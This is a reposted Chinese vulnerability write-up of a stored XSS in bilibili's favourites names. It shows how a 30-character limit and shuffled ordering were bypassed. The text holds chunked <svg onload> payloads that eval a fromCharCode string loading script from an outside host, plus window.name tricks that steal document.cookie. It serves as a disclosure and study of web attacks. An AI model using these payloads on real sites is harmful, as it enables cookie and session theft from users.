bilibili存儲型xss (繞過長度限制打亂順序限制)


在個人空間的我的收藏中可編輯視頻收藏的名稱,之后嘗試寫入標簽。

http://space.bilibili.com/

QQ20160128-0@2x.png

 

QQ20160128-1@2x.png

 

發現輸出到前端的尖括號被轉義了,不過出現了一個json接口,他的Content-Type是html,打開看下內容

http://space.bilibili.com/ajax/fav/getBoxList?mid=4926267

QQ20160128-2@2x.png

 

發現尖括號起作用了,這個xss在space域下,看下bilibili的cookie在這個域下起不起作用

QQ20160128-3@2x.png

 

B站的cookie都在.bilibili.com下,是個子域名就可以打嘍。

嘗試隱身窗口訪問,避免self xss

QQ20160128-4@2x.png

 

由於后端驗證這個變量長度必須不大於30,按照以往的套路,就是建立多個單元,拼在一起,最后再eval一下就好了,可是這次B站弄聰明了,每個條的順序每次刷新不同,就會導致變量 undefined

例如我本打算這么執行

<svg onload=a='document.writ'>

<svg onload=b='e(String.from'>

<svg onload=c='CharCode(60,1'>

<svg onload=d='15,99,114,105'>

<svg onload=e=',112,116,32,1'>

<svg onload=f='15,114,99,61,'>

<svg onload=g='39,104,116,11'>

<svg onload=h='6,112,58,47,4'>

<svg onload=i='7,116,46,99,1'>

<svg onload=j='10,47,82,52,8'>

<svg onload=k='6,84,75,53,66'>

<svg onload=l=',39,62,60,47,'>

<svg onload=m='115,99,114,10'>

<svg onload=n='5,112,116,62)'>

<svg onload=o=');'>

<svg onload=x=a+b+n+d+e+f+g+h>

<svg onload=t=i+j+k+l+m+n+o>

<svg onload=eval(x+t)>

但是當我用加上去的時候卻變成了這樣

QQ20160128-6@2x.png

 

然后在刷新下又變成了這樣

QQ20160128-7@2x.png

 

所以這個方法在之后加入拼接變量的時候會出現undefined,因為刷新一下不知道后三行實際在頁面里的位置,這讓我很着急,不過bilibili的收藏有個奇怪的地方,他有個默認收藏夾總排在第一位,那么是不是可以利用這個特點做點文章呢?瞬間靈光一閃,window.name!!

利用window.name做跨域傳輸cookie吧,根據優先級的話,svg onload 會比 body onload 先執行,因此默認收藏夾的name寫<svg onload=b=document.cookie>,恰好長度為30,並且總會在第一位上,接下來建立個新的收藏夾,name為<body onload=window.name=b>,長度為27,排在第二位。這樣就成功把cookie放在了window.name上

構造好的源碼是這樣的

QQ20160128-8@2x.png

 

在console里測試下

QQ20160128-9@2x.png

 

接下來就是寫個頁面跨域傳值了,這個百度一大堆,就不貼代碼了

 

漏洞證明:

根據window.name跨域的方法,彈出B站的cookie

QQ20160128-10@2x.png

 

(B站的大織夢cookie)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM